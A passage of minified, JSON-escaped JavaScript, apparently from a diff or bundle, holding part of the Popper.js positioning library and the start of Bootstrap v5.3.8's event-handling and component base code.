se=function(e,t){return e=\"function\"===typeof e?e(Object.assign({},t.rects,{placement:t.placement})):e,ie(\"number\"!==typeof e?e:le(e,p))};function ue(e){var t,n=e.state,r=e.name,a=e.options,o=n.elements.arrow,i=n.modifiersData.popperOffsets,l=j(n.placement),f=ne(l),p=[c,d].indexOf(l)>=0,h=p?\"height\":\"width\";if(o&&i){var v=se(a.padding,n),m=Y(o),g=\"y\"===f?s:c,y=\"y\"===f?u:d,b=n.rects.reference[h]+n.rects.reference[f]-i[f]-n.rects.popper[h],$=i[f]-n.rects.reference[f],w=te(o),_=w?\"y\"===f?w.clientHeight||0:w.clientWidth||0:0,k=b\u002F2-$\u002F2,C=v[g],x=_-m[h]-v[y],S=_\u002F2-m[h]\u002F2+k,E=re(C,S,x),T=f;n.modifiersData[r]=(t={},t[T]=E,t.centerOffset=E-S,t)}}function de(e){var t=e.state,n=e.options,r=n.element,a=void 0===r?\"[data-popper-arrow]\":r;null!=a&&(\"string\"!==typeof a||(a=t.elements.popper.querySelector(a),a))&&z(t.elements.popper,a)&&(t.elements.arrow=a)}var ce={name:\"arrow\",enabled:!0,phase:\"main\",fn:ue,effect:de,requires:[\"popperOffsets\"],requiresIfExists:[\"preventOverflow\"]};function fe(e){return e.split(\"-\")[1]}var pe={top:\"auto\",right:\"auto\",bottom:\"auto\",left:\"auto\"};function he(e,t){var n=e.x,r=e.y,a=t.devicePixelRatio||1;return{x:U(n*a)\u002Fa||0,y:U(r*a)\u002Fa||0}}function ve(e){var t,n=e.popper,r=e.popperRect,a=e.placement,o=e.variation,i=e.offsets,l=e.position,f=e.gpuAcceleration,p=e.adaptive,h=e.roundOffsets,m=e.isFixed,g=i.x,y=void 0===g?0:g,b=i.y,$=void 0===b?0:b,w=\"function\"===typeof h?h({x:y,y:$}):{x:y,y:$};y=w.x,$=w.y;var _=i.hasOwnProperty(\"x\"),k=i.hasOwnProperty(\"y\"),C=c,x=s,S=window;if(p){var E=te(n),T=\"clientHeight\",R=\"clientWidth\";if(E===D(n)&&(E=Q(n),\"static\"!==K(E).position&&\"absolute\"===l&&(T=\"scrollHeight\",R=\"scrollWidth\")),a===s||(a===c||a===d)&&o===v){x=u;var O=m&&E===S&&S.visualViewport?S.visualViewport.height:E[T];$-=O-r.height,$*=f?1:-1}if(a===c||(a===s||a===u)&&o===v){C=d;var M=m&&E===S&&S.visualViewport?S.visualViewport.width:E[R];y-=M-r.width,y*=f?1:-1}}var A,W=Object.assign({position:l},p&&pe),B=!0===h?he({x:y,y:$},D(n)):{x:y,y:$};return y=B.x,$=B.y,f?Object.assign({},W,(A={},A[x]=k?\"0\":\"\",A[C]=_?\"0\":\"\",A.transform=(S.devicePixelRatio||1)\u003C=1?\"translate(\"+y+\"px, \"+$+\"px)\":\"translate3d(\"+y+\"px, \"+$+\"px, 0)\",A)):Object.assign({},W,(t={},t[x]=k?$+\"px\":\"\",t[C]=_?y+\"px\":\"\",t.transform=\"\",t))}function me(e){var t=e.state,n=e.options,r=n.gpuAcceleration,a=void 0===r||r,o=n.adaptive,i=void 0===o||o,l=n.roundOffsets,s=void 0===l||l,u={placement:j(t.placement),variation:fe(t.placement),popper:t.elements.popper,popperRect:t.rects.popper,gpuAcceleration:a,isFixed:\"fixed\"===t.options.strategy};null!=t.modifiersData.popperOffsets&&(t.styles.popper=Object.assign({},t.styles.popper,ve(Object.assign({},u,{offsets:t.modifiersData.popperOffsets,position:t.options.strategy,adaptive:i,roundOffsets:s})))),null!=t.modifiersData.arrow&&(t.styles.arrow=Object.assign({},t.styles.arrow,ve(Object.assign({},u,{offsets:t.modifiersData.arrow,position:\"absolute\",adaptive:!1,roundOffsets:s})))),t.attributes.popper=Object.assign({},t.attributes.popper,{\"data-popper-placement\":t.placement})}var ge={name:\"computeStyles\",enabled:!0,phase:\"beforeWrite\",fn:me,data:{}},ye={passive:!0};function be(e){var t=e.state,n=e.instance,r=e.options,a=r.scroll,o=void 0===a||a,i=r.resize,l=void 0===i||i,s=D(t.elements.popper),u=[].concat(t.scrollParents.reference,t.scrollParents.popper);return o&&u.forEach(function(e){e.addEventListener(\"scroll\",n.update,ye)}),l&&s.addEventListener(\"resize\",n.update,ye),function(){o&&u.forEach(function(e){e.removeEventListener(\"scroll\",n.update,ye)}),l&&s.removeEventListener(\"resize\",n.update,ye)}}var $e={name:\"eventListeners\",enabled:!0,phase:\"write\",fn:function(){},effect:be,data:{}},we=(n(3215),{left:\"right\",right:\"left\",bottom:\"top\",top:\"bottom\"});function _e(e){return e.replace(\u002Fleft|right|bottom|top\u002Fg,function(e){return we[e]})}var ke={start:\"end\",end:\"start\"};function Ce(e){return e.replace(\u002Fstart|end\u002Fg,function(e){return ke[e]})}function xe(e){var t=D(e),n=t.pageXOffset,r=t.pageYOffset;return{scrollLeft:n,scrollTop:r}}function Se(e){return G(Q(e)).left+xe(e).scrollLeft}function Ee(e,t){var n=D(e),r=Q(e),a=n.visualViewport,o=r.clientWidth,i=r.clientHeight,l=0,s=0;if(a){o=a.width,i=a.height;var u=H();(u||!u&&\"fixed\"===t)&&(l=a.offsetLeft,s=a.offsetTop)}return{width:o,height:i,x:l+Se(e),y:s}}function Te(e){var t,n=Q(e),r=xe(e),a=null==(t=e.ownerDocument)?void 0:t.body,o=F(n.scrollWidth,n.clientWidth,a?a.scrollWidth:0,a?a.clientWidth:0),i=F(n.scrollHeight,n.clientHeight,a?a.scrollHeight:0,a?a.clientHeight:0),l=-r.scrollLeft+Se(e),s=-r.scrollTop;return\"rtl\"===K(a||n).direction&&(l+=F(n.clientWidth,a?a.clientWidth:0)-o),{width:o,height:i,x:l,y:s}}function Re(e){var t=K(e),n=t.overflow,r=t.overflowX,a=t.overflowY;return\u002Fauto|scroll|overlay|hidden\u002F.test(n+a+r)}function Oe(e){return[\"html\",\"body\",\"#document\"].indexOf(A(e))>=0?e.ownerDocument.body:B(e)&&Re(e)?e:Oe(Z(e))}function Me(e,t){var n;void 0===t&&(t=[]);var r=Oe(e),a=r===(null==(n=e.ownerDocument)?void 0:n.body),o=D(r),i=a?[o].concat(o.visualViewport||[],Re(r)?r:[]):r,l=t.concat(i);return a?l:l.concat(Me(Z(i)))}function Ae(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function De(e,t){var n=G(e,!1,\"fixed\"===t);return n.top=n.top+e.clientTop,n.left=n.left+e.clientLeft,n.bottom=n.top+e.clientHeight,n.right=n.left+e.clientWidth,n.width=e.clientWidth,n.height=e.clientHeight,n.x=n.left,n.y=n.top,n}function We(e,t,n){return t===g?Ae(Ee(e,n)):W(t)?De(t,n):Ae(Te(Q(e)))}function Be(e){var t=Me(Z(e)),n=[\"absolute\",\"fixed\"].indexOf(K(e).position)>=0,r=n&&B(e)?te(e):e;return W(r)?t.filter(function(e){return W(e)&&z(e,r)&&\"body\"!==A(e)}):[]}function Pe(e,t,n,r){var a=\"clippingParents\"===t?Be(e):[].concat(t),o=[].concat(a,[n]),i=o[0],l=o.reduce(function(t,n){var a=We(e,n,r);return t.top=F(a.top,t.top),t.right=V(a.right,t.right),t.bottom=V(a.bottom,t.bottom),t.left=F(a.left,t.left),t},We(e,i,r));return l.width=l.right-l.left,l.height=l.bottom-l.top,l.x=l.left,l.y=l.top,l}function Ie(e){var t,n=e.reference,r=e.element,a=e.placement,o=a?j(a):null,i=a?fe(a):null,l=n.x+n.width\u002F2-r.width\u002F2,f=n.y+n.height\u002F2-r.height\u002F2;switch(o){case s:t={x:l,y:n.y-r.height};break;case u:t={x:l,y:n.y+n.height};break;case d:t={x:n.x+n.width,y:f};break;case c:t={x:n.x-r.width,y:f};break;default:t={x:n.x,y:n.y}}var p=o?ne(o):null;if(null!=p){var m=\"y\"===p?\"height\":\"width\";switch(i){case h:t[p]=t[p]-(n[m]\u002F2-r[m]\u002F2);break;case v:t[p]=t[p]+(n[m]\u002F2-r[m]\u002F2);break;default:}}return t}function Ne(e,t){void 0===t&&(t={});var n=t,r=n.placement,a=void 0===r?e.placement:r,o=n.strategy,i=void 0===o?e.strategy:o,l=n.boundary,c=void 0===l?m:l,f=n.rootBoundary,h=void 0===f?g:f,v=n.elementContext,$=void 0===v?y:v,w=n.altBoundary,_=void 0!==w&&w,k=n.padding,C=void 0===k?0:k,x=ie(\"number\"!==typeof C?C:le(C,p)),S=$===y?b:y,E=e.rects.popper,T=e.elements[_?S:$],R=Pe(W(T)?T:T.contextElement||Q(e.elements.popper),c,h,i),O=G(e.elements.reference),M=Ie({reference:O,element:E,strategy:\"absolute\",placement:a}),A=Ae(Object.assign({},E,M)),D=$===y?A:O,B={top:R.top-D.top+x.top,bottom:D.bottom-R.bottom+x.bottom,left:R.left-D.left+x.left,right:D.right-R.right+x.right},P=e.modifiersData.offset;if($===y&&P){var I=P[a];Object.keys(B).forEach(function(e){var t=[d,u].indexOf(e)>=0?1:-1,n=[s,u].indexOf(e)>=0?\"y\":\"x\";B[e]+=I[n]*t})}return B}function Le(e,t){void 0===t&&(t={});var n=t,r=n.placement,a=n.boundary,o=n.rootBoundary,i=n.padding,l=n.flipVariations,s=n.allowedAutoPlacements,u=void 0===s?w:s,d=fe(r),c=d?l?$:$.filter(function(e){return fe(e)===d}):p,f=c.filter(function(e){return u.indexOf(e)>=0});0===f.length&&(f=c);var h=f.reduce(function(t,n){return t[n]=Ne(e,{placement:n,boundary:a,rootBoundary:o,padding:i})[j(n)],t},{});return Object.keys(h).sort(function(e,t){return h[e]-h[t]})}function je(e){if(j(e)===f)return[];var t=_e(e);return[Ce(e),t,Ce(t)]}function Fe(e){var t=e.state,n=e.options,r=e.name;if(!t.modifiersData[r]._skip){for(var a=n.mainAxis,o=void 0===a||a,i=n.altAxis,l=void 0===i||i,p=n.fallbackPlacements,v=n.padding,m=n.boundary,g=n.rootBoundary,y=n.altBoundary,b=n.flipVariations,$=void 0===b||b,w=n.allowedAutoPlacements,_=t.options.placement,k=j(_),C=k===_,x=p||(C||!$?[_e(_)]:je(_)),S=[_].concat(x).reduce(function(e,n){return e.concat(j(n)===f?Le(t,{placement:n,boundary:m,rootBoundary:g,padding:v,flipVariations:$,allowedAutoPlacements:w}):n)},[]),E=t.rects.reference,T=t.rects.popper,R=new Map,O=!0,M=S[0],A=0;A\u003CS.length;A++){var D=S[A],W=j(D),B=fe(D)===h,P=[s,u].indexOf(W)>=0,I=P?\"width\":\"height\",N=Ne(t,{placement:D,boundary:m,rootBoundary:g,altBoundary:y,padding:v}),L=P?B?d:c:B?u:s;E[I]>T[I]&&(L=_e(L));var F=_e(L),V=[];if(o&&V.push(N[W]\u003C=0),l&&V.push(N[L]\u003C=0,N[F]\u003C=0),V.every(function(e){return e})){M=D,O=!1;break}R.set(D,V)}if(O)for(var U=$?3:1,X=function(e){var t=S.find(function(t){var n=R.get(t);if(n)return n.slice(0,e).every(function(e){return e})});if(t)return M=t,\"break\"},H=U;H>0;H--){var G=X(H);if(\"break\"===G)break}t.placement!==M&&(t.modifiersData[r]._skip=!0,t.placement=M,t.reset=!0)}}var Ve={name:\"flip\",enabled:!0,phase:\"main\",fn:Fe,requiresIfExists:[\"offset\"],data:{_skip:!1}};function Ue(e,t,n){return void 0===n&&(n={x:0,y:0}),{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function Xe(e){return[s,d,u,c].some(function(t){return e[t]>=0})}function He(e){var t=e.state,n=e.name,r=t.rects.reference,a=t.rects.popper,o=t.modifiersData.preventOverflow,i=Ne(t,{elementContext:\"reference\"}),l=Ne(t,{altBoundary:!0}),s=Ue(i,r),u=Ue(l,a,o),d=Xe(s),c=Xe(u);t.modifiersData[n]={referenceClippingOffsets:s,popperEscapeOffsets:u,isReferenceHidden:d,hasPopperEscaped:c},t.attributes.popper=Object.assign({},t.attributes.popper,{\"data-popper-reference-hidden\":d,\"data-popper-escaped\":c})}var Ge={name:\"hide\",enabled:!0,phase:\"main\",requiresIfExists:[\"preventOverflow\"],fn:He};function Ye(e,t,n){var r=j(e),a=[c,s].indexOf(r)>=0?-1:1,o=\"function\"===typeof n?n(Object.assign({},t,{placement:e})):n,i=o[0],l=o[1];return i=i||0,l=(l||0)*a,[c,d].indexOf(r)>=0?{x:l,y:i}:{x:i,y:l}}function ze(e){var t=e.state,n=e.options,r=e.name,a=n.offset,o=void 0===a?[0,0]:a,i=w.reduce(function(e,n){return e[n]=Ye(n,t.rects,o),e},{}),l=i[t.placement],s=l.x,u=l.y;null!=t.modifiersData.popperOffsets&&(t.modifiersData.popperOffsets.x+=s,t.modifiersData.popperOffsets.y+=u),t.modifiersData[r]=i}var Ke={name:\"offset\",enabled:!0,phase:\"main\",requires:[\"popperOffsets\"],fn:ze};function qe(e){var t=e.state,n=e.name;t.modifiersData[n]=Ie({reference:t.rects.reference,element:t.rects.popper,strategy:\"absolute\",placement:t.placement})}var Qe={name:\"popperOffsets\",enabled:!0,phase:\"read\",fn:qe,data:{}};function Ze(e){return\"x\"===e?\"y\":\"x\"}function Je(e){var t=e.state,n=e.options,r=e.name,a=n.mainAxis,o=void 0===a||a,i=n.altAxis,l=void 0!==i&&i,f=n.boundary,p=n.rootBoundary,v=n.altBoundary,m=n.padding,g=n.tether,y=void 0===g||g,b=n.tetherOffset,$=void 0===b?0:b,w=Ne(t,{boundary:f,rootBoundary:p,padding:m,altBoundary:v}),_=j(t.placement),k=fe(t.placement),C=!k,x=ne(_),S=Ze(x),E=t.modifiersData.popperOffsets,T=t.rects.reference,R=t.rects.popper,O=\"function\"===typeof $?$(Object.assign({},t.rects,{placement:t.placement})):$,M=\"number\"===typeof O?{mainAxis:O,altAxis:O}:Object.assign({mainAxis:0,altAxis:0},O),A=t.modifiersData.offset?t.modifiersData.offset[t.placement]:null,D={x:0,y:0};if(E){if(o){var W,B=\"y\"===x?s:c,P=\"y\"===x?u:d,I=\"y\"===x?\"height\":\"width\",N=E[x],L=N+w[B],U=N-w[P],X=y?-R[I]\u002F2:0,H=k===h?T[I]:R[I],G=k===h?-R[I]:-T[I],z=t.elements.arrow,K=y&&z?Y(z):{width:0,height:0},q=t.modifiersData[\"arrow#persistent\"]?t.modifiersData[\"arrow#persistent\"].padding:oe(),Q=q[B],Z=q[P],J=re(0,T[I],K[I]),ee=C?T[I]\u002F2-X-J-Q-M.mainAxis:H-J-Q-M.mainAxis,ie=C?-T[I]\u002F2+X+J+Z+M.mainAxis:G+J+Z+M.mainAxis,le=t.elements.arrow&&te(t.elements.arrow),se=le?\"y\"===x?le.clientTop||0:le.clientLeft||0:0,ue=null!=(W=null==A?void 0:A[x])?W:0,de=N+ee-ue-se,ce=N+ie-ue,pe=re(y?V(L,de):L,N,y?F(U,ce):U);E[x]=pe,D[x]=pe-N}if(l){var he,ve=\"x\"===x?s:c,me=\"x\"===x?u:d,ge=E[S],ye=\"y\"===S?\"height\":\"width\",be=ge+w[ve],$e=ge-w[me],we=-1!==[s,c].indexOf(_),_e=null!=(he=null==A?void 0:A[S])?he:0,ke=we?be:ge-T[ye]-R[ye]-_e+M.altAxis,Ce=we?ge+T[ye]+R[ye]-_e-M.altAxis:$e,xe=y&&we?ae(ke,ge,Ce):re(y?ke:be,ge,y?Ce:$e);E[S]=xe,D[S]=xe-ge}t.modifiersData[r]=D}}var et={name:\"preventOverflow\",enabled:!0,phase:\"main\",fn:Je,requiresIfExists:[\"offset\"]};function tt(e){return{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}}function nt(e){return e!==D(e)&&B(e)?tt(e):xe(e)}function rt(e){var t=e.getBoundingClientRect(),n=U(t.width)\u002Fe.offsetWidth||1,r=U(t.height)\u002Fe.offsetHeight||1;return 1!==n||1!==r}function at(e,t,n){void 0===n&&(n=!1);var r=B(t),a=B(t)&&rt(t),o=Q(t),i=G(e,a,n),l={scrollLeft:0,scrollTop:0},s={x:0,y:0};return(r||!r&&!n)&&((\"body\"!==A(t)||Re(o))&&(l=nt(t)),B(t)?(s=G(t,!0),s.x+=t.clientLeft,s.y+=t.clientTop):o&&(s.x=Se(o))),{x:i.left+l.scrollLeft-s.x,y:i.top+l.scrollTop-s.y,width:i.width,height:i.height}}function ot(e){var t=new Map,n=new Set,r=[];function a(e){n.add(e.name);var o=[].concat(e.requires||[],e.requiresIfExists||[]);o.forEach(function(e){if(!n.has(e)){var r=t.get(e);r&&a(r)}}),r.push(e)}return e.forEach(function(e){t.set(e.name,e)}),e.forEach(function(e){n.has(e.name)||a(e)}),r}function it(e){var t=ot(e);return M.reduce(function(e,n){return e.concat(t.filter(function(e){return e.phase===n}))},[])}function lt(e){var t;return function(){return t||(t=new Promise(function(n){Promise.resolve().then(function(){t=void 0,n(e())})})),t}}function st(e){var t=e.reduce(function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:Object.assign({},n.options,t.options),data:Object.assign({},n.data,t.data)}):t,e},{});return Object.keys(t).map(function(e){return t[e]})}var ut={placement:\"bottom\",modifiers:[],strategy:\"absolute\"};function dt(){for(var e=arguments.length,t=new Array(e),n=0;n\u003Ce;n++)t[n]=arguments[n];return!t.some(function(e){return!(e&&\"function\"===typeof e.getBoundingClientRect)})}function ct(e){void 0===e&&(e={});var t=e,n=t.defaultModifiers,r=void 0===n?[]:n,a=t.defaultOptions,o=void 0===a?ut:a;return function(e,t,n){void 0===n&&(n=o);var a={placement:\"bottom\",orderedModifiers:[],options:Object.assign({},ut,o),modifiersData:{},elements:{reference:e,popper:t},attributes:{},styles:{}},i=[],l=!1,s={state:a,setOptions:function(n){var i=\"function\"===typeof n?n(a.options):n;d(),a.options=Object.assign({},o,a.options,i),a.scrollParents={reference:W(e)?Me(e):e.contextElement?Me(e.contextElement):[],popper:Me(t)};var l=it(st([].concat(r,a.options.modifiers)));return a.orderedModifiers=l.filter(function(e){return e.enabled}),u(),s.update()},forceUpdate:function(){if(!l){var e=a.elements,t=e.reference,n=e.popper;if(dt(t,n)){a.rects={reference:at(t,te(n),\"fixed\"===a.options.strategy),popper:Y(n)},a.reset=!1,a.placement=a.options.placement,a.orderedModifiers.forEach(function(e){return a.modifiersData[e.name]=Object.assign({},e.data)});for(var r=0;r\u003Ca.orderedModifiers.length;r++)if(!0!==a.reset){var o=a.orderedModifiers[r],i=o.fn,u=o.options,d=void 0===u?{}:u,c=o.name;\"function\"===typeof i&&(a=i({state:a,options:d,name:c,instance:s})||a)}else a.reset=!1,r=-1}}},update:lt(function(){return new Promise(function(e){s.forceUpdate(),e(a)})}),destroy:function(){d(),l=!0}};if(!dt(e,t))return s;function u(){a.orderedModifiers.forEach(function(e){var t=e.name,n=e.options,r=void 0===n?{}:n,o=e.effect;if(\"function\"===typeof o){var l=o({state:a,name:t,instance:s,options:r}),u=function(){};i.push(l||u)}})}function d(){i.forEach(function(e){return e()}),i=[]}return s.setOptions(n).then(function(e){!l&&n.onFirstUpdate&&n.onFirstUpdate(e)}),s}}var ft=ct(),pt=[$e,Qe,ge,L,Ke,Ve,et,ce,Ge],ht=ct({defaultModifiers:pt}),vt=[$e,Qe,ge,L],mt=ct({defaultModifiers:vt});\n \u002F*!\n   * Bootstrap v5.3.8 (https:\u002F\u002Fgetbootstrap.com\u002F)\n   * Copyright 2011-2025 The Bootstrap Authors (https:\u002F\u002Fgithub.com\u002Ftwbs\u002Fbootstrap\u002Fgraphs\u002Fcontributors)\n   * Licensed under MIT (https:\u002F\u002Fgithub.com\u002Ftwbs\u002Fbootstrap\u002Fblob\u002Fmain\u002FLICENSE)\n   *\u002F\n-const gt=new Map,yt={set(e,t,n){gt.has(e)||gt.set(e,new Map);const r=gt.get(e);r.has(t)||0===r.size?r.set(t,n):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(r.keys())[0]}.`)},get(e,t){return gt.has(e)&&gt.get(e).get(t)||null},remove(e,t){if(!gt.has(e))return;const n=gt.get(e);n.delete(t),0===n.size&&gt.delete(e)}},bt=1e6,$t=1e3,wt=\"transitionend\",_t=e=>(e&&window.CSS&&window.CSS.escape&&(e=e.replace(\u002F#([^\\s\"#']+)\u002Fg,(e,t)=>`#${CSS.escape(t)}`)),e),kt=e=>null===e||void 0===e?`${e}`:Object.prototype.toString.call(e).match(\u002F\\s([a-z]+)\u002Fi)[1].toLowerCase(),Ct=e=>{do{e+=Math.floor(Math.random()*bt)}while(document.getElementById(e));return e},xt=e=>{if(!e)return 0;let{transitionDuration:t,transitionDelay:n}=window.getComputedStyle(e);const r=Number.parseFloat(t),a=Number.parseFloat(n);return r||a?(t=t.split(\",\")[0],n=n.split(\",\")[0],(Number.parseFloat(t)+Number.parseFloat(n))*$t):0},St=e=>{e.dispatchEvent(new Event(wt))},Et=e=>!(!e||\"object\"!==typeof e)&&(\"undefined\"!==typeof e.jquery&&(e=e[0]),\"undefined\"!==typeof e.nodeType),Tt=e=>Et(e)?e.jquery?e[0]:e:\"string\"===typeof e&&e.length>0?document.querySelector(_t(e)):null,Rt=e=>{if(!Et(e)||0===e.getClientRects().length)return!1;const t=\"visible\"===getComputedStyle(e).getPropertyValue(\"visibility\"),n=e.closest(\"details:not([open])\");if(!n)return t;if(n!==e){const t=e.closest(\"summary\");if(t&&t.parentNode!==n)return!1;if(null===t)return!1}return t},Ot=e=>!e||e.nodeType!==Node.ELEMENT_NODE||(!!e.classList.contains(\"disabled\")||(\"undefined\"!==typeof e.disabled?e.disabled:e.hasAttribute(\"disabled\")&&\"false\"!==e.getAttribute(\"disabled\"))),Mt=e=>{if(!document.documentElement.attachShadow)return null;if(\"function\"===typeof e.getRootNode){const t=e.getRootNode();return t instanceof ShadowRoot?t:null}return e instanceof ShadowRoot?e:e.parentNode?Mt(e.parentNode):null},At=()=>{},Dt=e=>{e.offsetHeight},Bt=()=>window.jQuery&&!document.body.hasAttribute(\"data-bs-no-jquery\")?window.jQuery:null,Wt=[],Pt=e=>{\"loading\"===document.readyState?(Wt.length||document.addEventListener(\"DOMContentLoaded\",()=>{for(const e of Wt)e()}),Wt.push(e)):e()},It=()=>\"rtl\"===document.documentElement.dir,Nt=e=>{Pt(()=>{const t=Bt();if(t){const n=e.NAME,r=t.fn[n];t.fn[n]=e.jQueryInterface,t.fn[n].Constructor=e,t.fn[n].noConflict=()=>(t.fn[n]=r,e.jQueryInterface)}})},Lt=(e,t=[],n=e)=>\"function\"===typeof e?e.call(...t):n,jt=(e,t,n=!0)=>{if(!n)return void Lt(e);const r=5,a=xt(t)+r;let o=!1;const i=({target:n})=>{n===t&&(o=!0,t.removeEventListener(wt,i),Lt(e))};t.addEventListener(wt,i),setTimeout(()=>{o||St(t)},a)},Ft=(e,t,n,r)=>{const a=e.length;let o=e.indexOf(t);return-1===o?!n&&r?e[a-1]:e[0]:(o+=n?1:-1,r&&(o=(o+a)%a),e[Math.max(0,Math.min(o,a-1))])},Vt=\u002F[^.]*(?=\\..*)\\.|.*\u002F,Ut=\u002F\\..*\u002F,Xt=\u002F::\\d+$\u002F,Ht={};let Gt=1;const Yt={mouseenter:\"mouseover\",mouseleave:\"mouseout\"},zt=new Set([\"click\",\"dblclick\",\"mouseup\",\"mousedown\",\"contextmenu\",\"mousewheel\",\"DOMMouseScroll\",\"mouseover\",\"mouseout\",\"mousemove\",\"selectstart\",\"selectend\",\"keydown\",\"keypress\",\"keyup\",\"orientationchange\",\"touchstart\",\"touchmove\",\"touchend\",\"touchcancel\",\"pointerdown\",\"pointermove\",\"pointerup\",\"pointerleave\",\"pointercancel\",\"gesturestart\",\"gesturechange\",\"gestureend\",\"focus\",\"blur\",\"change\",\"reset\",\"select\",\"submit\",\"focusin\",\"focusout\",\"load\",\"unload\",\"beforeunload\",\"resize\",\"move\",\"DOMContentLoaded\",\"readystatechange\",\"error\",\"abort\",\"scroll\"]);function Kt(e,t){return t&&`${t}::${Gt++}`||e.uidEvent||Gt++}function qt(e){const t=Kt(e);return e.uidEvent=t,Ht[t]=Ht[t]||{},Ht[t]}function Qt(e,t){return function n(r){return ln(r,{delegateTarget:e}),n.oneOff&&on.off(e,r.type,t),t.apply(e,[r])}}function Zt(e,t,n){return function r(a){const o=e.querySelectorAll(t);for(let{target:i}=a;i&&i!==this;i=i.parentNode)for(const l of o)if(l===i)return ln(a,{delegateTarget:i}),r.oneOff&&on.off(e,a.type,t,n),n.apply(i,[a])}}function Jt(e,t,n=null){return Object.values(e).find(e=>e.callable===t&&e.delegationSelector===n)}function en(e,t,n){const r=\"string\"===typeof t,a=r?n:t||n;let o=an(e);return zt.has(o)||(o=e),[r,a,o]}function tn(e,t,n,r,a){if(\"string\"!==typeof t||!e)return;let[o,i,l]=en(t,n,r);if(t in Yt){const e=e=>function(t){if(!t.relatedTarget||t.relatedTarget!==t.delegateTarget&&!t.delegateTarget.contains(t.relatedTarget))return e.call(this,t)};i=e(i)}const s=qt(e),u=s[l]||(s[l]={}),d=Jt(u,i,o?n:null);if(d)return void(d.oneOff=d.oneOff&&a);const c=Kt(i,t.replace(Vt,\"\")),f=o?Zt(e,n,i):Qt(e,i);f.delegationSelector=o?n:null,f.callable=i,f.oneOff=a,f.uidEvent=c,u[c]=f,e.addEventListener(l,f,o)}function nn(e,t,n,r,a){const o=Jt(t[n],r,a);o&&(e.removeEventListener(n,o,Boolean(a)),delete t[n][o.uidEvent])}function rn(e,t,n,r){const a=t[n]||{};for(const[o,i]of Object.entries(a))o.includes(r)&&nn(e,t,n,i.callable,i.delegationSelector)}function an(e){return e=e.replace(Ut,\"\"),Yt[e]||e}const on={on(e,t,n,r){tn(e,t,n,r,!1)},one(e,t,n,r){tn(e,t,n,r,!0)},off(e,t,n,r){if(\"string\"!==typeof t||!e)return;const[a,o,i]=en(t,n,r),l=i!==t,s=qt(e),u=s[i]||{},d=t.startsWith(\".\");if(\"undefined\"===typeof o){if(d)for(const n of Object.keys(s))rn(e,s,n,t.slice(1));for(const[n,r]of Object.entries(u)){const a=n.replace(Xt,\"\");l&&!t.includes(a)||nn(e,s,i,r.callable,r.delegationSelector)}}else{if(!Object.keys(u).length)return;nn(e,s,i,o,a?n:null)}},trigger(e,t,n){if(\"string\"!==typeof t||!e)return null;const r=Bt(),a=an(t),o=t!==a;let i=null,l=!0,s=!0,u=!1;o&&r&&(i=r.Event(t,n),r(e).trigger(i),l=!i.isPropagationStopped(),s=!i.isImmediatePropagationStopped(),u=i.isDefaultPrevented());const d=ln(new Event(t,{bubbles:l,cancelable:!0}),n);return u&&d.preventDefault(),s&&e.dispatchEvent(d),d.defaultPrevented&&i&&i.preventDefault(),d}};function ln(e,t={}){for(const[r,a]of Object.entries(t))try{e[r]=a}catch(n){Object.defineProperty(e,r,{configurable:!0,get(){return a}})}return e}function sn(e){if(\"true\"===e)return!0;if(\"false\"===e)return!1;if(e===Number(e).toString())return Number(e);if(\"\"===e||\"null\"===e)return null;if(\"string\"!==typeof e)return e;try{return JSON.parse(decodeURIComponent(e))}catch(t){return e}}function un(e){return e.replace(\u002F[A-Z]\u002Fg,e=>`-${e.toLowerCase()}`)}const dn={setDataAttribute(e,t,n){e.setAttribute(`data-bs-${un(t)}`,n)},removeDataAttribute(e,t){e.removeAttribute(`data-bs-${un(t)}`)},getDataAttributes(e){if(!e)return{};const t={},n=Object.keys(e.dataset).filter(e=>e.startsWith(\"bs\")&&!e.startsWith(\"bsConfig\"));for(const r of n){let n=r.replace(\u002F^bs\u002F,\"\");n=n.charAt(0).toLowerCase()+n.slice(1),t[n]=sn(e.dataset[r])}return t},getDataAttribute(e,t){return sn(e.getAttribute(`data-bs-${un(t)}`))}};class cn{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implement the static method \"NAME\", for each component!')}_getConfig(e){return e=this._mergeConfigObj(e),e=this._configAfterMerge(e),this._typeCheckConfig(e),e}_configAfterMerge(e){return e}_mergeConfigObj(e,t){const n=Et(t)?dn.getDataAttribute(t,\"config\"):{};return{...this.constructor.Default,...\"object\"===typeof n?n:{},...Et(t)?dn.getDataAttributes(t):{},...\"object\"===typeof e?e:{}}}_typeCheckConfig(e,t=this.constructor.DefaultType){for(const[n,r]of Object.entries(t)){const t=e[n],a=Et(t)?\"element\":kt(t);if(!new RegExp(r).test(a))throw new TypeError(`${this.constructor.NAME.toUpperCase()}: Option \"${n}\" provided type \"${a}\" but expected type \"${r}\".`)}}}const fn=\"5.3.8\";class pn extends cn{constructor(e,t){super(),e=Tt(e),e&&(this._element=e,this._config=this._getConfig(t),yt.set(this._element,this.constructor.DATA_KEY,this))}dispose(){yt.remove(this._element,this.constructor.DATA_KEY),on.off(this._element,this.constructor.EVENT_KEY);for(const e of Object.getOwnPropertyNames(this))this[e]=null}_queueCallback(e,t,n=!0){jt(e,t,n)}_getConfig(e){return e=this._mergeConfigObj(e,this._element),e=this._configAfterMerge(e),this._typeCheckConfig(e),e}static getInstance(e){return yt.get(Tt(e),this.DATA_KEY)}static getOrCreateInstance(e,t={}){return this.getInstance(e)||new this(e,\"object\"===typeof t?t:null)}static get VERSION(){return fn}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}static eventName(e){return`${e}${this.EVENT_KEY}`}}const hn=e=>{let t=e.getAttribute(\"data-bs-target\");if(!t||\"#\"===t){let n=e.getAttribute(\"href\");if(!n||!n.includes(\"#\")&&!n.startsWith(\".\"))return null;n.includes(\"#\")&&!n.startsWith(\"#\")&&(n=`#${n.split(\"#\")[1]}`),t=n&&\"#\"!==n?n.trim():null}return t?t.split(\",\").map(e=>_t(e)).join(\",\"):null},vn={find(e,t=document.documentElement){return[].concat(...Element.prototype.querySelectorAll.call(t,e))},findOne(e,t=document.documentElement){return 